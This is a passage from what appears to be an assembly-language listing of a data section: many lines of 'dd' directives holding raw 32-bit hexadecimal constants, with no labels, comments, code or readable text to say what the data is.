		dd 0BD76D7C0h, 0DD384D5Bh, 90E68EF7h, 0AEBA87C4h, 7FA74239h
		dd 66F3BC04h, 45A8944Dh, 0FE4619A2h, 0E0C80C72h, 4110F479h
		dd 0E89ECAE2h, 67D1B3F9h, 0E73CB599h, 97FE3CA6h, 0E3719C14h
		dd 4A932325h, 0C5783C70h, 0F831AF30h, 25B5C421h, 97185027h
		dd 117ABBFFh, 0B2879D14h, 0BF13F443h, 9AA3C35Fh, 0F6977BAFh
		dd 0D0BEACDh, 0AA25BDEh, 82D80754h, 6873C490h, 0E0A04018h
		dd 903BCB4Eh, 0FAC6BC89h, 88ACA0A9h, 59367A5Eh,	0E72245C5h
		dd 503FE157h, 0A27EAF5h, 16106F66h, 34EFB13h, 20D997CCh
		dd 0B6277894h, 296B2FCCh, 0BB94BE65h, 0F0DE6ACAh, 34B0DC9Ch
		dd 3CF94E0Ah, 0B7FBC182h, 9BE17EF5h, 0A24C234Eh, 4DCB9962h
		dd 0B29C4348h, 15F9A916h, 0A274C43h, 0C12EC22Ah, 0DC59751h
		dd 95DF650Ch, 88044276h, 68AAB845h, 764790CDh, 9A95F676h
		dd 0E796E816h, 0B618A3B3h, 52BABCEEh, 0A09A0ABAh, 1A64A323h
		dd 6A4FD1DAh, 2866A10Ch, 53578B31h, 65B2A64Eh, 8F546C2Ah
		dd 67D59D1Fh, 0EB03E5E8h, 0DB33554Ah, 624C2F14h, 98643815h
		dd 51C54B16h, 590F1FE1h, 1367956Fh, 0ACCB7B9Eh,	26604F95h
		dd 2D58F99Ch, 5F0ECCF8h, 0EBCC42F4h, 6E916540h,	0B352D32Fh
		dd 0E799564Bh, 4CE98866h, 9521848h, 0F3E29DDh, 0B07DD7A6h
		dd 61E6F7E0h, 0F07373DDh, 0B162A0C2h, 48FA3A4Dh, 0F983D80Ch
		dd 26B1E1D5h, 785E4C3Dh, 35A2BCE7h, 0A339BA88h,	853B1EE4h
		dd 1062B0EDh, 47490B4Ch, 9072A198h, 3BC4DBD4h, 0E69C641Eh
		dd 70E02815h, 0C0E88F56h, 0B0A7F774h, 4E699237h, 9B84972Dh
		dd 0E8A74EB6h, 42C6A724h, 0FDF35B03h, 313D591Fh, 0E92C41F2h
		dd 0F4FC6929h, 0DA300171h, 4A32C72h, 2B0D30F8h,	8916F084h
		dd 4CF9B571h, 49DAE7Bh,	0DD815E33h, 0B5917771h,	634E7822h
		dd 9B9CCEC2h, 48BAF3BCh, 0C927CE38h, 0C12B0FD8h, 0C8131032h
		dd 0E0A838E1h, 0FB03AA0h, 5DE40E79h, 60D62257h,	827EDC59h
		dd 4492415Eh, 47BD1F37h, 0E2A0CAB3h, 0DABBA94Dh, 47BE0CC6h
		dd 3EE0EAF1h, 8203DF8Dh, 6714D318h, 53D5E7A2h, 320442D9h
		dd 0B1CF467Ah, 855D243Ah, 0B05518A6h, 0EA0DB2C4h, 45027DAFh
		dd 963DEC36h, 1E212A5Ah, 0FEDC5DF7h, 17CA497Fh,	0C2E99C87h
		dd 8CDDE813h, 0B353248Bh, 7F9D496Ch, 98F79728h,	91790E34h
		dd 92A947E1h, 3885FAF8h, 0BAB7E699h, 0CEF4E775h, 1C41313Eh
		dd 0CE040F4Bh, 0D9A32ABh, 7899E301h, 0E6DF4641h, 8F43D226h
		dd 0B83543D5h, 0EF8D8B04h, 10EB06D7h, 1B2FD99Eh, 0F0BA03Dh
		dd 0CDE97099h, 36043D58h, 0BE5E78BFh, 0D6840F1Bh, 2D74C0B4h
		dd 99360655h, 0B6EFB27Ch, 0DB72664Dh, 4CFBABD3h, 981A066Bh
		dd 0F641C3ABh, 17A51C8Fh, 0C1EDB05h, 3F9BCA89h,	7882ED2Ch
		dd 0D6A5B61Dh, 0FCB85BA1h, 7ADB19DBh, 799DC62Ch, 7105CF48h
		dd 0A2D65540h, 0C296D4C0h, 1103CE23h, 0AA4FB90Bh, 9A04B1F4h
		dd 28AA88A4h, 2EDBAE34h, 31A35126h, 1025A00Eh, 234E66DFh
		dd 0CD675D27h, 81BD1A74h, 12048C8Fh, 7696E74Eh,	63B513DDh
		dd 27D32412h, 7D8A853Ah, 8F921CFBh, 8F24DB1Ah, 92EE08A5h
		dd 0B1702AA5h, 9D85A71Eh, 0F4C1C38Fh, 13BA2EBCh, 95E1C5C7h
		dd 0ED048860h, 25BD69C8h, 0AC8457F1h, 65A589E7h, 12150E69h
		dd 34891A6Fh, 4815BB2Dh, 4739DB03h, 3B252A5Eh, 59012ECBh
		dd 76B3012Fh, 3F141B8Ch, 277091ADh, 0DD965833h,	86724AE1h
		dd 0F3B93BFFh, 358BF11Ah, 487C61DDh, 844707CBh,	0E021443Ch
		dd 2AD5844Ah, 0CC2C2B2Eh, 7A42E0BBh, 0C72A972Bh, 4812C730h
		dd 47FACD77h, 203066C4h, 17C4F1DAh, 0FD09F9D4h,	0BFF2D14Fh
		dd 5495945Eh, 0C61E8F75h, 820A6F98h, 2389A326h,	0C3630374h
		dd 0D017D429h, 8DD00246h, 0EB660309h, 87B7C97Ah, 8E8A7754h
		dd 186B8CEDh, 46B09DCh,	0CD8768CCh, 0DD25ABD2h,	8B65F96Eh
		dd 8D4E0DAEh, 3EFAF929h, 0A20A3836h, 0E830194Bh, 6C7B8217h
		dd 0F7773873h, 0FFE54CFFh, 0D4E5C388h, 3F479EFCh, 0A3C7C6A0h
		dd 2E512027h, 0BE4A82BAh, 7D92CAC5h, 63927B99h,	5E3637Dh
		dd 18D0CD1Bh, 0F9E2113Eh, 0CED4CF7Bh, 3CB366DDh, 218BD4C7h
		dd 10EAE886h, 1B3C2C48h, 9F137395h, 0DC077A46h,	7E72DEB9h
		dd 80DECDBBh, 26AEABAEh, 0FE43818Dh, 8A0549F7h,	0BB31774Dh
		dd 0CC484609h, 0D5A89F7Fh, 1C49747Fh, 0E47BE835h, 1B5DADE1h
		dd 0EEA5D243h, 0F96B829Dh, 0C2ADB386h, 0F9D19032h, 0FC2DCD6Ch
		dd 924031B1h, 0C19C4460h, 0A7B9D4C9h, 0E6483C3Eh, 9C9C6472h
		dd 0F4B816ACh, 0B56B51D4h, 0B26F43FCh, 0AC2AA495h, 0C5399E97h
		dd 0C344A750h, 215C7D4Eh, 9E634EDFh, 0AECCBE2Bh, 3D187621h
		dd 6BBA91F0h, 0AB7CE632h, 4F55FF03h, 9BDE092Fh,	2E74832Bh
		dd 523962F7h, 58538848h, 6D1DD341h, 6915ECF7h, 1E950206h
		dd 6DA9180Dh, 0B2E26C68h, 38305939h, 79E0E6DFh,	0CAAF0903h
		dd 76565A70h, 0D6DD2E44h, 2708ADF7h, 0EB9C98A8h, 0A7B9ECC8h
		dd 0E6481031h, 6C9C4470h, 9CB8D6A9h, 72A86261h,	18DDC8CDh
		dd 4D812FF7h, 0C561CEF9h, 0C2BC3453h, 0A84EB64Eh, 6EA14008h
		dd 1970DE74h, 80130B95h, 0C174B246h, 34079EB2h,	8A75FC50h
		dd 51AECAAEh, 0D6AF0086h, 8AB8F408h, 0BE05155Eh, 0BAFE07FCh
		dd 5C1EBA6Dh, 0CDC876C3h, 0F328B231h, 195F6DC2h, 70D241BAh
		dd 0EDE04E95h, 32AF0DDBh, 3DFE8DB0h, 20A4CF6Eh,	12428469h
		dd 0C3AFA4EAh, 9832E8CDh, 0E64AAA35h, 141E297Fh, 7FB8F636h
		dd 0B7C39652h, 5E5748DCh, 0F4F5ADDBh, 4E634E3Fh, 47BBC75Dh
		dd 237559E4h, 1AD1C406h, 7D5951Eh, 8051958Dh, 0E936934Fh
		dd 1B739E03h, 0DAFBCDD8h, 8630B425h, 4F19F7D4h,	0F1901A84h
		dd 0F86BFC8Dh, 0FB0CCA1Ch, 0D003167Eh, 1D0BDC57h, 67A921BBh
		dd 196B1BB2h, 0E32FB995h, 8394A661h, 33440EC3h,	0DFE9D90h
		dd 55AECF2Eh, 2D12D549h, 0BE113315h, 2EBD5258h,	928ABBB6h
		dd 9798F51Fh, 7FB8921Bh, 0B4AFE259h, 401A236Eh,	0EFF02669h
		dd 0B19AB492h, 68391922h, 0A87D594Ch, 6EC35A03h, 0B6464474h
		dd 0AF17D3Ch, 6DBBCDFBh, 6C8CD7BBh, 3653F275h, 6821CAACh
		dd 64F3333Fh, 9382D1F5h, 5353FC70h, 4ECE7BA0h, 0B80B9F7Dh
		dd 0B78BC6C8h, 6F2BA63Ch, 76F40970h, 0C86E0676h, 4997D837h
		dd 0DDAD7A33h, 1F58DA13h, 0F52DCF56h, 5AE77FCBh, 0C1191565h
		dd 2EB9E0CCh, 0E64ABAB7h, 9011BF7Ah, 7FB8B6DFh,	0B568A341h
		dd 18DF48BCh, 0FB37A517h, 4E67C13Bh, 0C2B0935Dh, 23655F4Eh
		dd 6EF1F486h, 93EAD574h
		dd 81D17120h, 6E391346h, 19741EBBh, 96DEF953h, 8722CAAEh
		dd 0B64D832Bh, 3B25197Ch, 0B35BFC8Fh, 0E3EC30Bh, 0D3819F7Dh
		dd 28976CDh, 6FABAA85h,	157F6F66h, 9C5B8927h, 446F8356h
		dd 2A550EE3h, 0EF5418D3h, 0E58CAAAEh, 5D42814Bh, 401B43D4h
		dd 22F97714h, 0B446923Bh, 94600AF5h, 1BE956DBh,	0B56856B6h
		dd 91BBC88Ch, 0FB30A552h, 6A3D4BFBh, 0DAEE07D5h, 63E69EC7h
		dd 0E539F1BAh, 0CB29A53Ch, 816D19A3h, 0B7B86132h, 6F782F30h
		dd 91980DA5h, 8E254170h, 9E6FA30Bh, 0FB99CF5h, 0D5C8FC8Fh
		dd 0EE03A50Fh, 0CFE4165Dh, 89C976C9h, 4826A2C0h, 9C5F4F54h
		dd 9E34F9A6h, 0ECEE455Eh, 12AF0E97h, 0FBCCACBEh, 3892C96Eh
		dd 0FA4282CBh, 0C1191826h, 2A2D7DF4h, 0EA3ECAB1h, 9835CBF5h
		dd 2B30645Ch, 3C832A95h, 1CA2D315h, 88BAA957h, 0C5B5D987h
		dd 1CA9852Bh, 8E49C5CDh, 0E899D487h, 93AA61F4h,	88A508Dh
		dd 6F3B57C3h, 0BF7933BBh, 96417CDAh, 918FCAAEh,	24182E3Ah
		dd 1A9D1DF0h, 66422EBEh, 8D1EC79Bh, 0E9E91AF0h,	0B38276CCh
		dd 60ABAE03h, 54D4B97Bh, 0BC4CEC1Ch, 0DE3B8346h, 9ED7B88Dh
		dd 0CF54D6FBh, 4D775A21h, 0D9369B72h, 0BE1DDDE5h, 2EBD6442h
		dd 37993982h, 18876CF6h, 4EB91717h, 0AFE083E2h,	1BDC2EADh
		dd 0FB362A2Ah, 4D66507Bh, 0C2A08250h, 2615884Eh, 5C09C805h
		dd 31FE4A6h, 0F924124h,	6FBB14CBh, 16B0E7BBh, 0B9431DCEh
		dd 7B0DCAAEh, 0A930E772h, 0B299197Ch, 97383FD8h, 89E7CB2Fh
		dd 92DEB093h, 6497633h,	612BAA80h, 635F6F78h, 0BA30591Bh
		dd 906B834Eh, 82AF0EB2h, 0B93C2773h, 752DC8DDh,	92428CC9h
		dd 0C1191D66h, 2EB9F0C6h, 0D29B7783h, 90127243h, 3A6370Fh
		dd 0B5645AE8h, 16D94D7Ch, 0F677A81Eh, 4E6FDB3Bh, 82558EDCh
		dd 23450742h, 30EFD886h, 936A7847h, 79C63120h, 603260B9h
		dd 0DE791EBBh, 91B13A87h, 770ECAAEh, 0C7C7D279h, 33A4E52Bh
		dd 607175C9h, 0D64F033Ah, 65C9AFD6h, 8F5CFE26h,	7A31C73h
		dd 0B13984AFh, 0C2392ACFh, 0F2E8A303h, 6717FD23h, 4421D7ADh
		dd 8F1C0990h, 997F806h,	90EED190h, 0EE79DC4Fh, 2EC3848Ch
		dd 0C948115Fh, 103D1450h, 8F394DC4h, 0A4A3D4DBh, 0D38466F8h
		dd 0CEF5AAC1h, 7EE2A2DAh, 89AA8DC1h, 0FB8EAE06h, 33A6A463h
		dd 5B861276h, 0D02CB812h, 2DE1DF64h, 8D1383FCh,	3FC91340h
		dd 0EB8828E1h, 4F0C989h, 2539C435h, 5CE21B7Fh, 9247B2A0h
		dd 99D4CD15h, 2DDAB811h, 65D7102Ah, 0AE8B206h, 712B2A61h
		dd 0DDFD6007h, 4B2DA542h, 0B22F1F16h, 0D367FA3Ch, 0C3BD08CEh
		dd 4228E806h, 0C2E498F3h, 13288A9Fh, 9FFB3920h,	6ECC97E2h
		dd 0B8E64A32h, 6E08A513h, 6C5FFEAh, 48F8F8F9h, 19DA4763h
		dd 0A8AF265h, 52AF8F64h, 0D9C1FA9Ch, 6F8752DDh,	5DE27F64h
		dd 5EC88074h, 1577A3CFh, 0DF7CBC72h, 0F0D144Dh,	0A4B5DE32h
		dd 98CF5540h, 19FAA08Ah, 0F67194FAh, 3763EE9Fh,	0E1D88F35h
		dd 0C70618DBh, 407947h,	0C840C0C0h, 325E93F1h, 0B6F3D18Ah
		dd 0C533101h, 279A3414h, 0AC779D76h, 4769DEBAh,	8A15AD87h
		dd 0F32AE9A3h, 18F83083h, 38079052h, 0FCC77371h, 87A177BFh
		dd 3B038DE6h, 55CF4C9Ah, 85088AE7h, 832E6657h, 7D20973Fh
		dd 3D28DE6Ah, 9BDF6C09h, 0DE916E2Ah, 3744172Dh,	0C4F66172h
		dd 0C2673AAh, 5A601A8Bh, 12C7BEEFh, 0B3E38B0Eh,	96AE113Bh
		dd 0ED78612Ch, 49D1DBCFh, 6CB8AFD8h, 25E29DEDh,	1561A3ABh
		dd 0E376C26Bh, 84EB6B23h, 480EB9F5h, 0A6D70C40h, 2F11A58h
		dd 3D90B159h, 885E8C96h, 1F08DB8Fh, 0B2D652F7h,	625F260Bh
		dd 0F7C31945h, 890BA4E4h, 9B77B847h, 1F7FA40Eh,	1507BA53h
		dd 4DACA70Ah, 6F433750h, 0B0EF1F2Bh, 0DBAB128Ch, 0DB83D02Bh
		dd 4313953Ch, 7BA2BB08h, 0D9E6850Ch, 444CC387h,	0CA43A8F7h
		dd 0ABF731FAh, 5BB570Bh, 0AFD027A5h, 23781570h,	0F28AE4BEh
		dd 0E0BF5860h, 0BB173C55h, 0EB803081h, 0A87FB53Fh, 1B133A14h
		dd 0AD572E53h, 7F39B664h, 0F519D806h, 0AE4033BDh, 0B7BC84A9h
		dd 0AA6FA1FBh, 3C2F8B6Dh, 0AF740A93h, 47B10447h, 0A8D55FFFh
		dd 0CC145EAh, 0E7464213h, 2C19F538h, 24A656AEh,	0A57B2A33h
		dd 1DD3EAABh, 0E122DEDBh, 2505E1E3h, 708A6C34h,	0E8618264h
		dd 891577B3h, 61570D5Eh, 34D3561Dh, 6FC4919Fh, 0CD2B3762h
		dd 14B0AE72h, 0F970DC6h, 761004h, 0A759B026h, 0A860783Eh
		dd 374947D5h, 0F21AEF11h, 0FC9A618Dh, 53B3D3AEh, 1EB78D31h
		dd 653BFA20h, 50F99C2Ch, 0F80903Dh, 9C87FAE6h, 0B337F955h
		dd 0A217CF62h, 0E052E85Dh, 8CAB3DDFh, 0AA4DED55h, 0B993E57Fh
		dd 0D7837613h, 0D3852286h, 0F26A99B3h, 75E91D74h, 0EB5ECA5Ch
		dd 7B0FA02h, 0A0667194h, 67CA6BF6h, 498A6A91h, 2E5CF8E2h
		dd 617387BBh, 45CB458Bh, 3F34C4A9h, 6CF51447h, 0B5EA47F3h
		dd 8D48D508h, 18013FBCh, 0C7676B24h, 0CE2E7E3Fh, 0A16C3864h
		dd 40FFF9B7h, 0CC7A8187h, 2D9BABD2h, 0AED9B972h, 0C666DF08h
		dd 2D8B31Eh, 0A21A6A61h, 4DD817FAh, 0AA5CD8CCh,	0D47ED5E7h
		dd 22874B8Dh, 0C7B73D0Ch, 3F21E207h, 277EA397h,	0A30FA503h
		dd 0E2E4CF69h, 0F3921BBh, 1E755C7Ah, 1D9FB04Dh,	565497A7h
		dd 73D98942h, 7C3546C0h, 2A38D147h, 61975B86h, 49A89386h
		dd 0A3B57A00h, 47833D75h, 3E96FC9Dh, 81DDA3E1h,	85A343h
		dd 8184A0C5h, 4088CABAh, 0BF020009h, 0AE68D9D3h, 1224B65Bh
		dd 9319854Dh, 11EC073Fh, 0C6C52FEh, 0A8940CC8h,	9C7FF62h
		dd 0AD563A8h, 63A87BA1h, 0FD5460D4h, 75D01F93h,	0B18DC19Bh
		dd 112DFF23h, 575E597Eh, 0FA6CF19Dh, 0C175287Fh, 4DFE7C4Ch
		dd 0F242A08Bh, 0A4B5C795h, 31D4EF51h, 0BF9E297Bh, 0E9EA0ABBh
		dd 7BF46CADh, 0BC941BEAh, 0AB65CE9Ch, 4D4F4447h, 1C863E62h
		dd 0CA22EF17h, 9804E10Bh, 0D6C3F713h, 3E5ECC52h, 1BAE833Eh
		dd 7A0C5523h, 8424FE49h, 6EBC32AEh, 0DF56EF2Bh,	0BE9DC71Eh
		dd 3DFF2CDAh, 0B3EEC399h, 67506D3Dh, 304B0D0h, 59E5B6BAh
		dd 0B22C1C06h, 6D05E663h, 2664C468h, 6D71A3B7h,	0B8902215h
		dd 77ED7873h, 9C9ADF19h, 0D4D334A8h, 59CDE869h,	0B91CECB4h
		dd 1793638Ch, 122A928Ch, 0EE824635h, 89786C2Eh,	2177805h
		dd 75AAE834h, 1822AA49h, 0B1AFD87h, 36CFD5A7h, 0F4D52600h
		dd 0B88B0C78h, 16CC79B1h, 0A1637Ch, 0BF658ACFh,	1BD549Eh
		dd 0D5CF163h, 266D8958h, 7BD2B571h, 5E9151C6h, 0DC542103h
		dd 0B8CE723Fh, 490F22F4h, 34C9CFDAh, 0D8801F24h, 983763FCh
		dd 0E41ED652h, 7BC978DEh, 704A2C77h, 76B6BB5Fh,	91B83775h
		dd 9CB0B299h, 892794C2h, 0EBE8B6FAh, 2C96254Ch,	8A3DB382h
		dd 0CC6EB88Dh, 5728A898h, 7E704B3Bh, 748D6E76h,	6C5083BFh
		dd 9D2CD03Eh, 48B3127Ah, 0DBD2A2F3h, 0FA06C955h, 1F36D715h
		dd 678F611Dh, 0B654635Fh, 0D91E68ABh, 0D2FD900Bh, 462B4F21h
		dd 0B7F94BD2h, 63705045h, 5D975EBh, 0A4BAAE2h, 63A037C2h
		dd 0BEC70455h, 0B7C6365Fh, 29CA9D06h, 0B80FEA89h, 8D78B3B2h
		dd 84ECEF4Ah, 81125C29h, 8879FDE1h, 0BAD6C28Bh,	245E1371h
		dd 6BE20B1Eh, 5F77F86Dh, 5E2B4956h, 95112FC5h, 31600C73h
		dd 55DAA1B8h, 0EA4A1834h, 0F23AE456h, 9D0C6658h, 0BBDA562Dh
		dd 8472D9E5h, 78F1DA9Ah, 0B3A46A8h, 0B549DC6Dh,	9CCCFE25h
		dd 3A409925h, 7515F170h, 706556C7h, 30ACCCDFh, 8BB9EF9Bh
		dd 9FE3CCF2h, 0AC52764Dh
		dd 9CEFCDA4h, 3BBCA5Dh,	0B7C8ABD0h, 0D6A798A3h,	0E275F541h
		dd 6D773962h, 310A2DF9h, 0A0E93F46h, 0A5834B4Fh, 4EA73DCEh
		dd 0B4618684h, 21BB6F0Bh, 41E1391h, 4FAC67A5h, 0AD253A34h
		dd 0E1FC3C97h, 80CE3C5Fh, 75E9E4C4h, 16BBA7DAh,	13F1D058h
		dd 905B27FFh, 806622F3h, 6ED43E2Dh, 746D80D2h, 566A91BFh
		dd 3F9CA42h, 0B13A1AFDh, 790B48B2h, 94A2C4D9h, 0DE1F2FD2h
		dd 310C1C5Ah, 0EF419DACh, 670D9EF6h, 4CF8BBC4h,	0F0EC9AA7h
		dd 65201F05h, 8CEA29CFh, 0C08ECC42h, 609A15CCh,	0F3F0DB8Fh
		dd 4AE262FBh, 0EAEF6BE2h, 6741DCD7h, 0CE9197C0h, 52FB8C97h
		dd 0C639EC7Fh, 85511DF2h, 0A11CE00h, 0DD87FB2Fh, 0AF215BA5h
		dd 0A43907E9h, 58E1F717h, 0A15E54D4h, 58D31FB6h, 0D2FC239Eh
		dd 5CD989DEh, 71986D2Ah, 3DB714C8h, 0D96FA74Dh,	0DBD0CACAh
		dd 0E6593590h, 0A3127AFCh, 9769B74h, 87508532h,	1667EEBFh
		dd 0D6A46DF7h, 0EEEFCA4Fh, 55A06D38h, 6FAE94D4h, 0CB774A77h
		dd 1CD30E76h, 1EFE1F79h, 0FC0308C6h, 6AA51234h,	30EDF68h
		dd 23482915h, 38DED7EAh, 0F08F9C6Eh, 0BFFCEFABh, 8E72956Eh
		dd 8481F36Fh, 0BAC7554Bh, 0EC57BB00h, 0C5EEC2ABh, 0E90E493Fh
		dd 0CF6EC64Dh, 4F65E9Ch, 0A139F34Fh, 0ED140867h, 0DBF372B2h
		dd 62483BECh, 7950264h,	0C9E7C8EFh, 87250717h, 0CCCF968h
		dd 6E733848h, 0D42F58FEh, 0DA7333F3h, 0F120B590h, 404BEC69h
		dd 272B98D4h, 0EAC7FF5Ch, 0DB15A2ECh, 0BB73634Ah, 0A19E2716h
		dd 968AA117h, 6C9FAC06h, 0B7B6D144h, 9F5C3FB8h,	6F7D2993h
		dd 652E1102h, 1F915D38h, 82DDB5D8h, 4DBADDF2h, 0A5442D57h
		dd 0DA5B27CBh, 0B0842347h, 835E0620h, 1CB7B795h, 0A6581894h
		dd 0B955F55Ch, 96AC595Dh, 0CD102EBAh, 79BB683Ch, 88A3B288h
		dd 0E5ACCFC3h, 0E58D3731h, 2EEFE15Eh, 0B673AFE9h, 0E195A590h
		dd 4769A507h, 20846D3Ah, 0F4F8C36h, 0E36EF600h,	124AD406h
		dd 0E5C21770h, 93902D43h, 6C76BC38h, 4D61FCCEh,	0F15BB6Ah
		dd 9E577AC8h, 24E41691h, 6E3F5271h, 0F8BF3E59h,	0EF86F5EEh
		dd 0B0B39ABh, 22D7BAA7h, 2F2A8D6Fh, 0A95661C6h,	6EC79B05h
		dd 337D0D0Ah, 978DB726h, 6E855A63h, 0D001178Bh,	3D80117Eh
		dd 21C4B84Ah, 14921E9Fh, 0F86A6F94h, 0FB09647Fh, 55202CE7h
		dd 61DA4887h, 0DBDC852Fh, 937DCB55h, 0FDDD1045h, 86BD47D1h
		dd 269DBDDDh, 5E431AEEh, 0C81E1B9Bh, 9621861Dh,	0D5034B34h
		dd 0BC0C710Fh, 0E6312669h, 28536FBEh, 1919B27Ch, 945FF99Ch
		dd 0F5A066ACh, 0C8C84848h, 0CFBBDBA9h, 0F3FE420Bh, 0F1832661h
		dd 34C5C2B6h, 0E7148279h, 7CE83D52h, 0A0F599F7h, 99579F60h
		dd 38CCD3F2h, 4B5E73Ah,	0E01A1B18h, 0C43A2AD0h,	4D773639h
		dd 0CEAAEBBCh, 0CBD45F94h, 0EC8FEE25h, 6698E04Bh, 19B40279h
		dd 41B6DE6Ah, 9D31C077h, 383A25C0h, 433195BDh, 21C2794Bh
		dd 0C26551CAh, 3595EE6Bh, 5A23B3B1h, 600F53AEh,	63D70A65h
		dd 0DD61997Ah, 0E3863BEEh, 129449ECh, 0E21965A7h, 73312C2h
		dd 219A43Ah, 0C6D8F61Dh, 2FF6F039h, 43283A61h, 7EE1AED9h
		dd 0A604BFB9h, 6FC3C65Fh, 7110C103h, 0E228E83Ah, 0D5F10F53h
		dd 0D1AF5C32h, 0F0E0A53Ah, 63164062h, 0C038D353h, 8FF60E5Bh
		dd 41D160D9h, 0C81E5005h, 91FC38E2h, 0B4C4C76Fh, 0F544D05Bh
		dd 0B562A787h, 2FC6CD99h, 9D658AF0h, 0E0BF19B3h, 0C6786CE1h
		dd 0E4678338h, 9487B6Ch, 28ED0FFCh, 40388095h, 2569B1D7h
		dd 8C245DDCh, 7D4A2A02h, 0B6DFBEA4h, 39BDAB45h,	0E4C68EA1h
		dd 3D3A24D4h, 6D469EEh,	46CF5680h, 8C46BD6Fh, 60F24969h
		dd 4A040D8Ah, 53EDD155h, 4DA3E078h, 0E621442Bh,	0BBB704D5h
		dd 0CAAB2132h, 41EE5B6Dh, 5A19D50Ch, 55348234h,	0EBF505C4h
		dd 286F20BCh, 133E1AB4h, 4E55FF0Ah, 0E687F820h,	86799CDEh
		dd 0ED0D1A36h, 2504AE12h, 334B3A83h, 5AA43E47h,	0D22D4F5Ch
		dd 969D97BBh, 5EE5B094h, 6C5506B4h, 2D068E51h, 2B5EA5B0h
		dd 0C66376ADh, 3710847Eh, 7116B13h, 0C7FFFBE5h,	20E56C37h
		dd 58821759h, 898A083Bh, 75A846DDh, 71B9A831h, 9D00A7B9h
		dd 137AEA6Ch, 82926D78h, 0AE265CE9h, 6349C8EDh,	1F591250h
		dd 8669F3B0h, 0F7DA365Bh, 0D2EC92AAh, 5E581317h, 277E2AD9h
		dd 0DC5A1CDAh, 3BD0C6EDh, 34C65Fh, 7795E5BBh, 0C6B30FFBh
		dd 962580C7h, 8022F286h, 0BDD2A90Bh, 1E3B3A45h,	0E55A0005h
		dd 895E5F26h, 900F9F12h, 0BB8DD2B1h, 0A1DE250h,	4F86A883h
		dd 0AB6192Bh, 0E8C2C5CFh, 0E2C7BDF5h, 0E7B9D44Fh, 6A1B8361h
		dd 5206B6C0h, 46D29D4Ah, 59CBB7F4h, 15DE0834h, 87E32422h
		dd 0F6A9264Ah, 2C3F9004h, 6B8AC430h, 2068220Dh,	6F9E9AAEh
		dd 8C9C9036h, 23464A66h, 8559A58Ch, 3CBF7FF3h, 6D19ED8Bh
		dd 0E8451FE5h, 33155AADh, 0C78E5343h, 0B369AA09h, 7FD3EB07h
		dd 0E4FB723Ah, 0A39CC208h, 0A09360DFh, 9018AC2Bh, 0BB638B90h
		dd 0A129378Ah, 0FF3E642Bh, 6096AB76h, 0D70FA6FBh, 69A4B7FFh
		dd 4F0057C3h, 74A36336h, 20039C87h, 56E1EC5h, 0B1A51CFFh
		dd 2C21ACFCh, 377F2156h, 5601C901h, 81647D41h, 3ACF8F10h
		dd 0B8B40D51h, 0CDD228F7h, 94E75DF3h, 850B5066h, 237C4331h
		dd 7FB721B6h, 0ADE49B6Ah, 73BF46B2h, 7DE9917Ch,	6BF7C8Ah
		dd 9E23B59Fh, 9436F258h, 0CE5CA635h, 0D1147EEBh, 0DCC9E595h
		dd 0EDB76A03h, 0C2F0943h, 0DAF45BB2h, 0CBC7AA0Fh, 98E70DDCh
		dd 8E697BE4h, 9FAF2B4Bh, 4DA5DEC7h, 0FEB15F31h,	0EC74C391h
		dd 0A539100Eh, 51F1CCE6h, 0A4798447h, 30569BAEh, 0F9A92DFAh
		dd 0E124316Dh, 0C3432BC1h, 2626DBB1h, 0DC0194E2h, 0B9B65F65h
		dd 8B059D32h, 0D7F8F33Dh, 45DF1714h, 0F4CA227h,	0A1A33427h
		dd 0D0145E75h, 0E70B8178h, 997BD49h, 320BAAA6h,	0DB574CD4h
		dd 5A04FC49h, 0D8C02F89h, 4C2D93D8h, 63C0E10h, 94840F05h
		dd 82CA2EFAh, 0F86289ABh, 442CBACh, 0E28021C3h,	0EF6C4B16h
		dd 0C85FE2Eh, 175D8DD7h, 7082FB0Fh, 878EA6AFh, 0AC913A2Ah
		dd 0BF60262Eh, 1C635289h, 3097EFA7h, 0FD9636F1h, 0CD983D4Ch
		dd 1CD531A3h, 0BDE1756Bh, 45BB792Bh, 9DC85496h,	1E5125C9h
		dd 7502C43h, 306BBD3Fh,	5ADB0A2Ah, 0B58C5D27h, 7C32AD8Bh
		dd 187D7954h, 7E718548h, 0C949FCD1h, 0DC7C7721h, 19E9D198h
		dd 0D0FBA5Bh, 7EB39712h, 0D0127637h, 6A41FCBBh,	2FC99FE4h
		dd 0B01F09EEh, 0AB1AE904h, 0C6651C0Fh, 0D2F28AA9h, 41E40298h
		dd 0C71EC976h, 26E99F2Bh, 695855AEh, 0F8335589h, 0B6356014h
		dd 0D56DF072h, 0CF7E0F9Bh, 0A26908D5h, 0BB4F010Bh, 89925F23h
		dd 26BF3FC4h, 0F8D5822Fh, 7586DCCEh, 0E09C0BE4h, 0F474FFB7h
		dd 43605250h, 1F7A3AC3h, 0BA081A4h, 0FBFC7459h,	3AAF272Fh
		dd 3E020199h, 9C5616F7h, 0B844DFE3h, 9ED1EE84h,	10FB78B6h
		dd 8214ACABh, 8D0833E2h, 25F046DDh, 95754E1Eh, 0B736F695h
		dd 14978D9Dh, 7115B2EBh, 0AF4B5698h, 0D12B5474h, 0A1F38A4Ah
		dd 0E3E741EBh, 0C7437674h, 7B00A93h, 4EFA1E57h,	35A9E190h
		dd 0F3E0D659h, 3FD45984h, 0EC737B19h, 54C6E601h, 5CBB2737h
		dd 10E7675Ah, 12E24DB1h, 3795EC32h, 0C8B84777h,	0F8686004h
		dd 30F5C8E7h, 4F001497h, 58F998E5h, 3717E7EDh, 55CD5225h
		dd 0C98E2BACh, 0B795A03Bh, 0A35137C8h, 0D9EEBE4Eh, 87F2B811h
		dd 0A044A269h, 714E89EBh, 0A44B4451h, 23571A3Fh, 6F48729Ch
		dd 0A309E4E1h, 49AC8C91h
		dd 0EEE7AD0Eh, 0ECA4BD0Bh, 7ECC653Eh, 0C7AD3EB9h, 690021AFh
		dd 7362C68Dh, 8B8A5DAh,	0B2141ED4h, 0BD2C25A8h,	63C81462h
		dd 1BB6E82Ah, 0CABCDC27h, 4EA6D1A0h, 1C372E92h,	5B26B7A0h
		dd 81983D1Dh, 0B8DE4361h, 3CADBF1Eh, 6755E932h,	0F89F852Eh
		dd 3502B59Dh, 0A6A9A7E1h, 5890DCE2h, 4B93E5CFh,	7D9A6689h
		dd 0A132F3D1h, 0A93E7331h, 0ED577237h, 89348D1Ah, 645B6518h
		dd 0EB59AA0Fh, 7101A7D7h, 0B1578DC1h, 0CDA361DDh, 0D03C82DDh
		dd 0FF4552B1h, 0F6352218h, 0E92D71F9h, 0F352A5AEh, 5047C689h
		dd 2BCCA4A0h, 0CD72976Bh, 34F19668h, 0D3D40190h, 58DD69A0h
